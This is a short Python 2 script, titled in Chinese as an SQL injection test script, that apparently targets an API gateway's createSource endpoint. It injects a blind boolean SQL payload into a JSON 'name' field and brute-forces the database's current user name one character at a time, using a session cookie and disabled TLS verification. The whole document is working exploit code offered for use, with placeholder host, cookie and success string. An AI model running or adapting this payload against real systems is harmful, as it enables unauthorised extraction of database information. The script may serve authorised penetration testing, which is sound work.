python SQL注入测试脚本（更新中）

import requests
import json
import warnings
warnings.filterwarnings("ignore")

url = 'https://1.1.1.1/xx/1.0/apiGateway/createSource'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36'}
cookies = {'session': 'aaaaaaaatZSI6eyIgYiI6IllXUnRhVzQ9In19.DYkTeA.9GSxXpaWvW1vSMyUVxCRkXkkgTQ'}
answer = ''


for i in range(1,9):
    for j in range(65, 123):
        payload = '111\' and ascii(substr(current_user,'+str(i)+',1))='+str(j)+'--+'
        # print payload
        data = {
                    "name": "bobac",
                    "type": "1",
                    "protocol": "http",
                    "method": "POST",
                    "url": "www.www.com",
                    "port": "80",
                    "timeout": 3,
                    "params": [{
                        "name": "a",
                        "changeParam": "true",
                        "position": "Parameter Path",
                        "type": "string",
                        "must": "true",
                        "default": "a"
                    }]
                }
        json_string = json.dumps(data)
        # print type(json_string)
        new_string = json_string.replace("bobac", payload)
        new_data = json.loads(new_string)
        # print new_data
        # exit(0)
        req = requests.post(url, headers=headers, cookies=cookies, json=new_data, verify=False)
        # print req.text
        # exit(0)
        if 'xxxx' in req.text:
            answer += chr(j)
            print answer
print 'current_user is %s' % answer